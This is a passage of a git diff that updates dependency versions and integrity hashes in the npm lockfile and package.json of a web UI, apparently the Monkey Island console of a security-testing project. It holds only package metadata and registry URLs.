"dependencies": { + "global-dirs": { + "version": "0.1.0", + "bundled": true, + "requires": { + "ini": "1.3.5" + } + }, + "is-path-inside": { + "version": "1.0.0", + "bundled": true, + "requires": { + "path-is-inside": "1.0.2" + } + } + } + }, + "is-npm": { + "version": "1.0.0", + "bundled": true + }, + "latest-version": { + "version": "3.1.0", + "bundled": true, + "requires": { + "package-json": "4.0.1" + }, + "dependencies": { + "package-json": { + "version": "4.0.1", + "bundled": true, + "requires": { + "got": "6.7.1", + "registry-auth-token": "3.3.1", + "registry-url": "3.1.0", + "semver": "5.5.0" + }, + "dependencies": { + "got": { + "version": "6.7.1", + "bundled": true, + "requires": { + "create-error-class": "3.0.2", + "duplexer3": "0.1.4", + "get-stream": "3.0.0", + "is-redirect": "1.0.0", + "is-retry-allowed": "1.1.0", + "is-stream": "1.1.0", + "lowercase-keys": "1.0.0", + "safe-buffer": "5.1.1", + "timed-out": "4.0.1", + "unzip-response": "2.0.1", + "url-parse-lax": "1.0.0" + }, + "dependencies": { + "create-error-class": { + "version": "3.0.2", + "bundled": true, + "requires": { + "capture-stack-trace": "1.0.0" + }, + "dependencies": { + "capture-stack-trace": { + "version": "1.0.0", + "bundled": true + } + } + }, + "duplexer3": { + "version": "0.1.4", + "bundled": true + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-redirect": { + "version": "1.0.0", + "bundled": true + }, + "is-retry-allowed": { + "version": "1.1.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "lowercase-keys": { + "version": "1.0.0", + "bundled": true + }, + "timed-out": { + "version": "4.0.1", + "bundled": true + }, + "unzip-response": { + "version": "2.0.1", + "bundled": true + }, + "url-parse-lax": { + "version": "1.0.0", + "bundled": true, + "requires": { + "prepend-http": "1.0.4" + }, + "dependencies": { + "prepend-http": { + "version": "1.0.4", + "bundled": true + } + } + } + } + }, + "registry-auth-token": { + "version": "3.3.1", + "bundled": true, + "requires": { + "rc": "1.2.1", + "safe-buffer": "5.1.1" + }, + "dependencies": { + "rc": { + "version": "1.2.1", + "bundled": true, + "requires": { + "deep-extend": "0.4.2", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "deep-extend": { + "version": "0.4.2", + "bundled": true + }, + "minimist": { + "version": "1.2.0", + "bundled": true + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true + } + } + } + } + }, + "registry-url": { + "version": "3.1.0", + "bundled": true, + "requires": { + "rc": "1.2.1" + }, + "dependencies": { + "rc": { + "version": "1.2.1", + "bundled": true, + "requires": { + "deep-extend": "0.4.2", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "deep-extend": { + "version": "0.4.2", + "bundled": true + }, + "minimist": { + "version": "1.2.0", + "bundled": true + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true + } + } + } + } + } + } + } + } + }, + "semver-diff": { + "version": "2.1.0", + "bundled": true, + "requires": { + "semver": "5.5.0" + } + }, + "xdg-basedir": { + "version": "3.0.0", + "bundled": true + } + } + }, + "uuid": { + "version": "3.2.1", + "bundled": true + }, + "validate-npm-package-license": { + "version": "3.0.1", + "bundled": true, + "requires": { + "spdx-correct": "1.0.2", + "spdx-expression-parse": "1.0.4" + }, + "dependencies": { + "spdx-correct": { + "version": "1.0.2", + "bundled": true, + "requires": { + "spdx-license-ids": "1.2.2" + }, + "dependencies": { + "spdx-license-ids": { + "version": "1.2.2", + "bundled": true + } + } + }, + "spdx-expression-parse": { + "version": "1.0.4", + "bundled": true + } + } + }, + "validate-npm-package-name": { + "version": "3.0.0", + "bundled": true, + "requires": { + "builtins": "1.0.3" + }, + "dependencies": { + "builtins": { + "version": "1.0.3", + "bundled": true + } + } + }, + "which": { + "version": "1.3.0", + "bundled": true, + "requires": { + "isexe": "2.0.0" + }, + "dependencies": { + "isexe": { + "version": "2.0.0", + "bundled": true + } + } + }, + "worker-farm": { + "version": "1.5.4", + "bundled": true, + "requires": { + "errno": "0.1.7", + "xtend": "4.0.1" + }, + "dependencies": { + "errno": { + "version": "0.1.7", + "bundled": true, + "requires": { + "prr": "1.0.1" + }, + "dependencies": { + "prr": { + "version": "1.0.1", + "bundled": true + } + } + }, + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true + }, + "write-file-atomic": { + "version": "2.3.0", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "imurmurhash": "0.1.4", + "signal-exit": "3.0.2" + }, + "dependencies": { + "signal-exit": { + "version": "3.0.2", + "bundled": true + } + } + } + } + }, "null-loader": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/null-loader/-/null-loader-0.1.1.tgz", @@ -6491,37 +10365,26 @@ "dev": true }, "performance-now": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-0.2.0.tgz", - "integrity": "sha1-M+8wxcd9TqIcWlOGnZG1bY8lVeU=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", "dev": true }, "phantomjs-prebuilt": { - "version": "2.1.15", - "resolved": "https://registry.npmjs.org/phantomjs-prebuilt/-/phantomjs-prebuilt-2.1.15.tgz", - "integrity": "sha1-IPhugtM0nFBZF1J3RbekEeCLOQM=", + "version": "2.1.16", + "resolved": "https://registry.npmjs.org/phantomjs-prebuilt/-/phantomjs-prebuilt-2.1.16.tgz", + "integrity": "sha1-79ISpKOWbTZHaE6ouniFSb4q7+8=", "dev": true, "requires": { - "es6-promise": "4.0.5", - "extract-zip": "1.6.5", + "es6-promise": "4.2.4", + "extract-zip": "1.6.6", "fs-extra": "1.0.0", "hasha": "2.2.0", "kew": "0.7.0", "progress": "1.1.8", - "request": "2.81.0", + "request": "2.85.0", "request-progress": "2.0.1", - "which": "1.2.14" - }, - "dependencies": { - "which": { - "version": "1.2.14", - "resolved": "https://registry.npmjs.org/which/-/which-1.2.14.tgz", - "integrity": "sha1-mofEN48D6CfOyvGs31bHNsAcFOU=", - "dev": true, - "requires": { - "isexe": "2.0.0" - } - } + "which": "1.3.0" } }, "pify": { @@ -7187,18 +11050,19 @@ "promise": { "version": "7.3.1", "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", "requires": { "asap": "2.0.6" } }, "prop-types": { - "version": "15.5.10", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.5.10.tgz", - "integrity": "sha1-J5ffwxJhguOpXj37suiT3ddFYVQ=", + "version": "15.6.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.1.tgz", + "integrity": "sha512-4ec7bY1Y66LymSUOH/zARVYObB23AT2h8cf6e/O6ZALB/N0sqZFEx7rq6EYPX2MkOdKORuooI/H5k9TlR4q7kQ==", "requires": { - "fbjs": "0.8.14", - "loose-envify": "1.3.1" + "fbjs": "0.8.16", + "loose-envify": "1.3.1", + "object-assign": "4.1.1" } }, "prop-types-extra": { @@ -7236,7 +11100,7 @@ "psl": { "version": "1.1.20", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz", - "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0=" + "integrity": "sha512-JWUi+8DYZnEn9vfV0ppHFLBP0Lk7wxzpobILpBEMDV4nFket4YK+6Rn1Zn6DHmD9PqqsV96AM6l4R/2oirzkgw==" }, "punycode": { "version": "1.4.1", @@ -7298,7 +11162,7 @@ "randomatic": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", - "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=", + "integrity": "sha512-D5JUjPyJbaJDkuAazpVnSfVkLlpeO3wDlPROTMLGKG1zMFNFRgrciKo1ltz/AzNTkqE0HzDx655QOL51N06how==", "dev": true, "requires": { "is-number": "3.0.0", @@ -7367,25 +11231,25 @@ "integrity": "sha1-5h0FRL+dQgjlujL8UJYhWef5UqM=", "requires": { "babel-runtime": "6.25.0", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react": { - "version": "15.6.1", - "resolved": "https://registry.npmjs.org/react/-/react-15.6.1.tgz", - "integrity": "sha1-uqhDTsZ4C96ZfNw4C3nNM7ljk98=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react/-/react-15.6.2.tgz", + "integrity": "sha1-26BDSrQ5z+gvEI8PURZjkIF5qnI=", "requires": { - "create-react-class": "15.6.0", - "fbjs": "0.8.14", + "create-react-class": "15.6.3", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-addons-test-utils": { - "version": "15.6.0", - "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.0.tgz", - "integrity": "sha1-Bi02EX/o0Y87peBuszODsLhepbk=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.2.tgz", + "integrity": "sha1-wStu/cIkfBDae4dw0YUICnsEcVY=", "dev": true }, "react-base16-styling": { @@ -7400,19 +11264,18 @@ } }, "react-bootstrap": { - "version": "0.31.2", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.31.2.tgz", - "integrity": "sha512-6rEK6/Z0UStWkwROhNZ2RW+88AJ83d5i5nGJYoW88JoiAhkOd3MMKaJ4AQZKu+nZ3RWSNzHIKozuBb9N+ewOeA==", + "version": "0.31.5", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.31.5.tgz", + "integrity": "sha512-xgDihgX4QvYHmHzL87faDBMDnGfYyqcrqV0TEbWY+JizePOG1vfb8M3xJN+6MJ3kUYqDtQSZ7v/Q6Y5YDrkMdA==", "requires": { "babel-runtime": "6.25.0", "classnames": "2.2.5", - "dom-helpers": "3.2.1", + "dom-helpers": "3.3.1", "invariant": "2.2.2", "keycode": "2.1.9", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "prop-types-extra": "1.0.1", - "react-overlays": "0.7.0", - "react-prop-types": "0.4.0", + "react-overlays": "0.7.4", "uncontrollable": "4.1.0", "warning": "3.0.0" } @@ -7426,20 +11289,21 @@ } }, "react-copy-to-clipboard": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.0.tgz", - "integrity": "sha1-I8zdfE2ewsx2ODnipVsSIK608z0=", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.1.tgz", + "integrity": "sha512-ELKq31/E3zjFs5rDWNCfFL4NvNFQvGRoJdAKReD/rUPA+xxiLPQmZBZBvy2vgH7V0GE9isIQpT9WXbwIVErYdA==", "requires": { "copy-to-clipboard": "3.0.8", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-data-components": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.1.1.tgz", - "integrity": "sha512-b6gq3tXSQ0hHTH1iNoBQODQw4Y5km5vCpUV4SK7TaS6RZt4TSXxL5vbqoMToccSnImSGZdrjvx1Sp2zju+LyxA==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz", + "integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==", "requires": { - "lodash": "4.17.4" + "lodash": "4.17.4", + "prop-types": "15.6.1" } }, "react-dimensions": { @@ -7451,14 +11315,14 @@ } }, "react-dom": { - "version": "15.6.1", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-15.6.1.tgz", - "integrity": "sha1-LLDtQZEDjlPCCes6eaI+Kkz5lHA=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-15.6.2.tgz", + "integrity": "sha1-Qc+t9pO3V/rycIRDodH9WgK+9zA=", "requires": { - "fbjs": "0.8.14", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-fa": { @@ -7467,18 +11331,18 @@ "integrity": "sha1-aR4FbGj/S+h2OReiH34+rvO+jg8=", "requires": { "font-awesome": "4.7.0", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-graph-vis": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-0.1.3.tgz", - "integrity": "sha1-s5n5ECjXvQof0blcPM7lycRUgOE=", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-0.1.4.tgz", + "integrity": "sha512-njoLkjRCKUxjdVDIyTw1RJH4XE5Jp9WPXlBVR7yy2Wti+Rffrw99+xpYrq8pgfjcCOAByleLtDkSxHHUJSh4lg==", "requires": { "lodash": "4.17.4", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "uuid": "2.0.3", - "vis": "4.20.1" + "vis": "4.21.0" }, "dependencies": { "uuid": { @@ -7521,7 +11385,7 @@ "integrity": "sha1-cmMXOizIvwXqxjsEGcPOdbIy4oQ=", "requires": { "babel-runtime": "6.25.0", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "react-base16-styling": "0.5.3" } }, @@ -7532,7 +11396,7 @@ "requires": { "jsonschema": "1.2.2", "lodash.topath": "4.5.2", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "setimmediate": "1.0.5" } }, @@ -7559,49 +11423,58 @@ } }, "react-overlays": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.7.0.tgz", - "integrity": "sha1-UxiY/1ZsflxyJurShjuM+fu1qYE=", + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.7.4.tgz", + "integrity": "sha512-7vsooMx3siLAuEfTs8FYeP/lAORWWFXTO8PON3KgX0Htq1Oa+po6ioSjGyO0/GO5CVSMNhpWt6V2opeexHgBuQ==", "requires": { "classnames": "2.2.5", - "dom-helpers": "3.2.1", - "prop-types": "15.5.10", - "react-prop-types": "0.4.0", - "warning": "3.0.0" - } - }, - "react-prop-types": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/react-prop-types/-/react-prop-types-0.4.0.tgz", - "integrity": "sha1-+ZsL+0AGkpya8gUefBQUpcdbk9A=", - "requires": { + "dom-helpers": "3.3.1", + "prop-types": "15.6.1", + "prop-types-extra": "1.0.1", "warning": "3.0.0" } }, "react-redux": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.0.6.tgz", - "integrity": "sha512-8taaaGu+J7PMJQDJrk/xiWEYQmdo3mkXw6wPr3K3LxvXis3Fymiq7c13S+Tpls/AyNUAsoONkU81AP0RA6y6Vw==", + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.0.7.tgz", + "integrity": "sha512-5VI8EV5hdgNgyjfmWzBbdrqUkrVRKlyTKk1sGH3jzM2M2Mhj/seQgPXaz6gVAj2lz/nz688AdTqMO18Lr24Zhg==", "requires": { - "hoist-non-react-statics": "2.3.1", + "hoist-non-react-statics": "2.5.0", "invariant": "2.2.2", - "lodash": "4.17.4", - "lodash-es": "4.17.4", + "lodash": "4.17.5", + "lodash-es": "4.17.8", "loose-envify": "1.3.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" + }, + "dependencies": { + "hoist-non-react-statics": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.5.0.tgz", + "integrity": "sha512-6Bl6XsDT1ntE0lHbIhr4Kp2PGcleGZ66qu5Jqk8lc0Xc/IeG6gVLmwUGs/K0Us+L8VWoKgj0uWdPMataOsm31w==" + }, + "lodash": { + "version": "4.17.5", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", + "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==" + }, + "lodash-es": { + "version": "4.17.8", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.8.tgz", + "integrity": "sha512-I9mjAxengFAleSThFhhAhvba6fsO0hunb9/0sQ6qQihSZsJRBofv2rYH58WXaOb/O++eUmYpCLywSQ22GfU+sA==" + } } }, "react-router": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.2.0.tgz", - "integrity": "sha1-Yfez43cNrrJAYtrj7t7xsFQVWYY=", + "integrity": "sha512-DY6pjwRhdARE4TDw7XjxjZsbx9lKmIcyZoZ+SDO7SBJ1KUeWNxT22Kara2AC7u6/c2SYEHlEDLnzBCcNhLE8Vg==", "requires": { "history": "4.7.2", "hoist-non-react-statics": "2.3.1", "invariant": "2.2.2", "loose-envify": "1.3.1", "path-to-regexp": "1.7.0", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "warning": "3.0.0" }, "dependencies": { @@ -7618,12 +11491,12 @@ "react-router-dom": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.2.2.tgz", - "integrity": "sha1-yKgd863Fi7qKdngulGy9Tq5km40=", + "integrity": "sha512-cHMFC1ZoLDfEaMFoKTjN7fry/oczMgRt5BKfMAkTu5zEuJvUiPp1J8d0eXSVTnBh6pxlbdqDhozunOOLtmKfPA==", "requires": { "history": "4.7.2", "invariant": "2.2.2", "loose-envify": "1.3.1", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "react-router": "4.2.0", "warning": "3.0.0" } @@ -7790,7 +11663,7 @@ "redux": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/redux/-/redux-3.7.2.tgz", - "integrity": "sha1-BrcxIyFZAdJdBlvjQusCa8HIU3s=", + "integrity": "sha512-pNqnf9q1hI5HHZRBkj3bAngGZW/JMCmexDlOxw4XagXY2o1327nHH54LoTjiPJ0gizoqPDRqWyX/00g0hD6w+A==", "requires": { "lodash": "4.17.4", "lodash-es": "4.17.4", @@ -7892,33 +11765,56 @@ } }, "request": { - "version": "2.81.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.81.0.tgz", - "integrity": "sha1-xpKJRqDgbF+Nb4qTM0af/aRimKA=", + "version": "2.85.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.85.0.tgz", + "integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==", "dev": true, "requires": { - "aws-sign2": "0.6.0", - "aws4": "1.6.0", + "aws-sign2": "0.7.0", + "aws4": "1.7.0", "caseless": "0.12.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "extend": "3.0.1", "forever-agent": "0.6.1", - "form-data": "2.1.4", - "har-validator": "4.2.1", - "hawk": "3.1.3", - "http-signature": "1.1.1", + "form-data": "2.3.2", + "har-validator": "5.0.3", + "hawk": "6.0.2", + "http-signature": "1.2.0", "is-typedarray": "1.0.0", "isstream": "0.1.2", "json-stringify-safe": "5.0.1", - "mime-types": "2.1.16", + "mime-types": "2.1.18", "oauth-sign": "0.8.2", - "performance-now": "0.2.0", - "qs": "6.4.0", + "performance-now": "2.1.0", + "qs": "6.5.1", "safe-buffer": "5.1.1", "stringstream": "0.0.5", - "tough-cookie": "2.3.2", + "tough-cookie": "2.3.4", "tunnel-agent": "0.6.0", - "uuid": "3.1.0" + "uuid": "3.2.1" + }, + "dependencies": { + "mime-db": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", + "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", + "dev": true + }, + "mime-types": { + "version": "2.1.18", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", + "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", + "dev": true, + "requires": { + "mime-db": "1.33.0" + } + }, + "qs": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", + "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", + "dev": true + } } }, "request-progress": { @@ -7964,7 +11860,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" + "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" }, "restore-cursor": { "version": "1.0.1", @@ -7986,9 +11882,9 @@ } }, "rimraf": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.1.tgz", - "integrity": "sha1-wjOOxkPfeht/5cVPqG9XQopV8z0=", + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", + "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", "dev": true, "requires": { "glob": "7.1.2" @@ -8018,7 +11914,7 @@ "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", + "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==", "dev": true }, "sax": { @@ -8142,12 +12038,12 @@ "dev": true }, "sntp": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/sntp/-/sntp-1.0.9.tgz", - "integrity": "sha1-ZUEYTMkK7qbG57NeJlkIJEPGYZg=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/sntp/-/sntp-2.1.0.tgz", + "integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==", "dev": true, "requires": { - "hoek": "2.16.3" + "hoek": "4.2.1" } }, "socket.io": { @@ -8353,7 +12249,7 @@ "source-map-support": { "version": "0.4.17", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.17.tgz", - "integrity": "sha1-byFQVT5jdTddDMsxgFAreMGLpDA=", + "integrity": "sha512-30c1Ch8FSjV0FwC253iftbbj0dU/OXoSg1LAEGZJUlGgjTNj6cu+DVqJWWIZJY5RXLWV4eFtR+4ouo0VIOYOTg==", "dev": true, "requires": { "source-map": "0.5.6" @@ -8387,9 +12283,9 @@ "dev": true }, "sshpk": { - "version": "1.13.1", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.13.1.tgz", - "integrity": "sha1-US322mKHFEMW3EwY/hzx2UBzm+M=", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz", + "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=", "dev": true, "requires": { "asn1": "0.2.3", @@ -8400,14 +12296,6 @@ "getpass": "0.1.7", "jsbn": "0.1.1", "tweetnacl": "0.14.5" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "statuses": { @@ -8721,7 +12609,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -8778,9 +12666,9 @@ "integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI=" }, "tough-cookie": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.2.tgz", - "integrity": "sha1-8IH3bkyFcg5sN6X6ztc3FQ2EByo=", + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", + "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", "dev": true, "requires": { "punycode": "1.4.1" @@ -8858,9 +12746,9 @@ "dev": true }, "ua-parser-js": { - "version": "0.7.14", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.14.tgz", - "integrity": "sha1-EQ1T+kw/MmwSEpK76skE0uAzh8o=" + "version": "0.7.17", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.17.tgz", + "integrity": "sha512-uRdSdu1oA1rncCQL7sCj8vSyZkgtL7faaw9Tc9rZ3mGgraQ7+Pdx7w5mnOSF3gw9ZNG6oc+KXfkon3bKuROm0g==" }, "uglify-js": { "version": "2.8.29", @@ -9029,9 +12917,9 @@ "dev": true }, "uuid": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.1.0.tgz", - "integrity": "sha512-DIWtzUkw04M4k3bf1IcpS2tngXEL26YUD2M0tMDUpnUrz2hgzUBlD55a4FjdLGPvfHxS6uluGWvaVEqgBcVa+g==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", + "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", "dev": true }, "validate-npm-package-license": { @@ -9047,7 +12935,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" + "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" }, "vary": { "version": "1.1.1", @@ -9070,25 +12958,17 @@ "assert-plus": "1.0.0", "core-util-is": "1.0.2", "extsprintf": "1.3.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "vis": { - "version": "4.20.1", - "resolved": "https://registry.npmjs.org/vis/-/vis-4.20.1.tgz", - "integrity": "sha1-Z+ku2v5y2mOxXJMCmRr57fL4Zhk=", + "version": "4.21.0", + "resolved": "https://registry.npmjs.org/vis/-/vis-4.21.0.tgz", + "integrity": "sha1-3XFji/9/ZJXQC8n0DCU1JhM97Ws=", "requires": { "emitter-component": "1.1.1", "hammerjs": "2.0.8", "keycharm": "0.2.0", - "moment": "2.21.0", + "moment": "2.22.1", "propagating-hammerjs": "1.4.6" } }, @@ -9322,9 +13202,9 @@ "dev": true }, "whatwg-fetch": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.3.tgz", - "integrity": "sha1-nITsLc9oGH/wC8ZOEnS0QhduHIQ=" + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz", + "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==" }, "whet.extend": { "version": "0.9.9", @@ -9335,7 +13215,7 @@ "which": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", - "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", + "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==", "dev": true, "requires": { "isexe": "2.0.0" diff --git a/monkey_island/cc/ui/package.json b/monkey_island/cc/ui/package.json index 79577f1b6..8c2d5331f 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey_island/cc/ui/package.json @@ -42,18 +42,18 @@ "karma-chai": "^0.1.0", "karma-coverage": "^1.0.0", "karma-mocha": "^1.0.0", - "karma-mocha-reporter": "^2.2.4", + "karma-mocha-reporter": "^2.2.5", 